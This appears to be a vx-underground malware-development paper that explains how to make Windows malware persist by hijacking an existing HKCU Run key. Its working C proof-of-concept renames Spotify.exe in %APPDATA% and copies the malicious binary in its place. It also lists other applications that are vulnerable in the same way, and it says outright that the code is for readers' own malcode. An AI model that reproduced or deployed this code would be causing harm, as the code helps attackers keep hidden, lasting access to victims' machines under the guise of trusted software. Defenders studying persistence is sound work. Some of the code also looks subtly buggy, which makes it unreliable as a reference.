Masquerading the HKCU Run Key

vx-underground collection // by smelly__vx and Ethereal

[entry 0 of the vx-underground persistence series]

Introduction:

In August, 2020 I was speaking to our friend Hexacorn regarding malcode persistence techniques. Hexacorn himself has enumerated over 100 unique persistence methods which could potentially be utilised by a threat actor. (Un)fortunately, he has yet to produce complete programmatic implementations and/or proof-of-concepts to illustrate these techniques. Thankfully Hexacorn has granted Ethereal and I the opportunity to produce them in a manner which individuals could use in their own malcode. This series serves to act as both a peer-review to Hexacorn's work and also to critique the painfully unoriginal persistence methods seen in the wild.

Our first entry in this series will illustrate a persistence method not seen frequently enough in-the-wild: hiding in plain sight by hijacking and/or masquerading as a legitimate HKCU run key. I will explicitly note that this technique is far from extravagant. However, this particular method is uncommon. Oftentimes we see malware authors creating new entries in the registry versus hijacking an existing one.
- smelly

What this paper will discuss:
This paper will do a brief overview of the Windows HKCU run key and how to programmatically hijack an existing run key to masquerade as a legitimate run key. Additionally, this paper will enumerate commonly used applications which can be explicitly targeted because they write to the user-mode portion of the register (HKCU vs HKLM).

Our programmatic implementation will be written in C using the Windows API.

Known issues: The proof-of-concept in this paper will target Spotify. The proof-of-concept does not completely masquerade the key entry. Ideally, once the key has been hijacked, our malcode should launch Spotify on startup. Ours does not - it simply invokes MessageBoxA. Additionally, the shortcut on the Desktop will be damaged. It will resolve to the malicious binary, hence the icon is missing. A complete implementation would correct these issues.

What this paper will not discuss:
Although the Windows registry is profoundly interesting - we will not discuss the architectural mechanisms which make up the Windows registry. To limit the scope of this paper we will also stray from comparing this method to other persistence methods which we will unveil later in this series.

We will not present a case study of how this technique fairs against anti-virus vendors or reverse engineers.

The most common form of persistence:

Undoubtedly the most common form of persistence, as well as the most obvious, can be found in the HKEY_CURRENT_USER registry hive. HKEY_CURRENT_USER, as the name suggests, is the registry hive specific to the current user logged into the machine. Reading or writing to this registry hive typically does not require any sort of administrative privileges so any user-mode application can very easily read and write to this hive. It is not uncommon for applications to write to this registry hive to ensure their application runs at start.

```
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

For the particular technique this paper focuses on we must address a fundamental problem with Windows directory permissions and directories application installers target to extract binaries and related application data to. In some instances applications, such as NordVPN, install to:

```
C:\Program Files\NordVPN\NordVPN.exe
```

This directory location requires administrative privileges to write to. However, some application installers, such as Spotify, install to the following directory:

```
C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe
```

The problem this conjures is that malicious applications possess the ability to read and write to this directory. This allows a malicious application to either masquerade an existing HKEY_CURRENT_USER run key entry or hijack it **by naming the malicious application Spotify.exe** and renaming the legitimate binary.

```
C:\Users\%User%\AppData\Roaming\Spotify\Spotify.exe ActualSpotify.exe
```

Although it would be possible for a malicious binary to programmatically enumerate vulnerable registry keys, out of curiosity, we have begun researching which applications extract data to %APPDATA% versus Program Files/(x86).

Applications susceptible to Hijacking:

Binary Name	Version	Subkey-Name	Subkey-Value
Amazon Music	7.13.0.2210	Amazon Music	%LOCALAPPDATA%\Amazon Music\Amazon Music.exe
Microsoft Teams	1.3.00.19173	com.squirrel.Teams.Team	%LOCALAPPDATA%\Microsoft\Teams\Update.exe
Discord	0.0.308	Discord	%LOCALAPPDATA%\Discord\app-0.0.307\Discord.exe
One Drive	20.143.*	One Drive	%LOCALAPPDATA%\Microsoft\OneDrive\OneDrive.exe
Spotify	1.1.42.622	Spotify	%APPDATA%\Spotify\Spotify.exe
Slack	4.9.0	com.squirrel.slack.slack	%LOCALAPPDATA%\slack\slack.exe
Flock	2.2.430	Flock	%LOCALAPPDATA%\Flock\Flock.exe
Toggl Track	N/A	TogglDesktop	%LOCALAPPDATA%\TogglDesktop\TogglDesktop.exe

The code:

This proof-of-concepts contains a great deal of generic programming - more specifically string manipulation. Many function invocations revolve around verifying the binary path or assembling the binary path.

1. Determine if our malicious executable is already masquerading as Spotify. If the substring Spotify is not present, call our MasqueradeSpotifyKey subroutine. Otherwise, invoke MessageBoxA

```
WCHAR wModulePath[WCHAR_MAXPATH] = { 0 };

if (GetModuleFileNameW(NULL, wModulePath, WCHAR_MAXPATH) == 0)
       goto FAILURE;

if (wcsstr(wModulePath, L"Spotify") == NULL)
{
    if (MasqueradeSpotifyKey() != ERROR_SUCCESS)
       goto FAILURE;
}
else
    MessageBoxA(NULL, "", "", MB_OK);
```

2. Open HKEY_CURRENT_USER with the registry path being *Software\Microsoft\Windows\CurrentVersion\Run*. Request KEY_ALL_ACCESS access rights. However, the only access rights required for this proof-of-concept is **KEY_QUERY_VALUE** and **KEY_ENUMERATE_SUB_KEYS**. Additionally, in our proof-of-concept we could have explicitly requested access to the Spotify key via *Software\Microsoft\Windows\CurrentVersion\Run\Spotify* but we chose to illustrate dynamically resolving the Spotify key entry.

```
WCHAR wRegistryPath[WCHAR_MAXPATH] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hKey = NULL, hHive = HKEY_CURRENT_USER;
BOOL bFlag = FALSE;

dwError = (LRESULT)RegOpenKeyExW(hHive, wRegistryPath, 0, KEY_ALL_ACCESS, &hKey);
if (dwError != ERROR_SUCCESS)
    goto FAILURE;
```

3. Iterate through the entries within the Run registry path. We chose to iterate through an arbitrary value of 256. Each iteration we invoke RegEnumValueW, query the 6th parameter, **LPDWORD lpType**, to determine if the value retrieved is of type REG_SZ. If it is not, continue iteration. Otherwise, we transform the returned BYTE array into a WCHAR string and invoke wcsstr to determine if the string Spotify is present. In the event the substring Spotify is present within *wString*, we set a BOOLEAN flag to TRUE. We use this to determine if the string has been identified and to determine if our loop has failed or succeeded.

```
for (; dwError < 256; dwError++)
{
    DWORD dwReturn = 0, lpType = 0, dwValueSize = WCHAR_MAXPATH, dwDataSize = WCHAR_MAXPATH;
    BYTE lpData[WCHAR_MAXPATH] = { 0 };
    WCHAR wString[WCHAR_MAXPATH] = { 0 };
    WCHAR lpValue[WCHAR_MAXPATH] = { 0 };

    dwReturn = (LSTATUS)RegEnumValueW(hKey, dwError, lpValue, &dwValueSize,
                                      NULL, &lpType, lpData, &dwDataSize);

    if (dwReturn != ERROR_SUCCESS && dwError != ERROR_NO_MORE_ITEMS)
         goto FAILURE;

    if (lpType != REG_SZ)
         continue;

    swprintf(wString, L"%ws", lpData);

    if (wcsstr(wString, L"Spotify") != NULL)
    {
         bFlag = TRUE;
         break;
    }
}

if (!bFlag)
{
    SetLastError(ERROR_FILE_NOT_FOUND);
        goto FAILURE;
}
```

4. The subsequent logic is fairly generic. First, **Spotify.exe** is renamed **RealSpotify.exe** by invoking MoveFile. Subsequently, we rename our malicious binary and move it into the Spotify directory by invoking CopyFile. Assuming all function invocations were successful we free our handle to the registry by calling RegCloseKey.

```
if (GetEnvironmentVariableW(L"APPDATA", wModulePath, WCHAR_MAXPATH) == 0)
    goto FAILURE;

wcscat(wModulePath, L"\\Spotify\\Spotify.exe");

if (GetEnvironmentVariableW(L"APPDATA", wNewPath, WCHAR_MAXPATH) == 0)
    goto FAILURE;

wcscat(wNewPath, L"\\Spotify\\RealSpotify.exe");

if (!MoveFile(wModulePath, wNewPath))
    goto FAILURE;

ZeroMemory(wModulePath, WCHAR_MAXPATH); ZeroMemory(wNewPath,
WCHAR_MAXPATH);

if (GetModuleFileNameW(NULL, wModulePath, WCHAR_MAXPATH) == 0)
    goto FAILURE;

if (GetEnvironmentVariableW(L"APPDATA", wNewPath, WCHAR_MAXPATH) == 0)
    goto FAILURE;

wcscat(wNewPath, L"\\Spotify\\Spotify.exe");

if (!CopyFile(wModulePath, wNewPath, TRUE))
    goto FAILURE;

if (hKey)
    RegCloseKey(hKey);

return ERROR_SUCCESS;
```

5. In the event any of our code fails we safely exit by jumping to our exit routine ‘FAILURE’. The exit routine FAILURE determines if our handle to the registry is valid. If it is valid we close the handle by invoking RegCloseKey.

```
FAILURE:

    dwError = GetLastError();

    if (hKey)
       RegCloseKey(hKey);

    return dwError;
}
```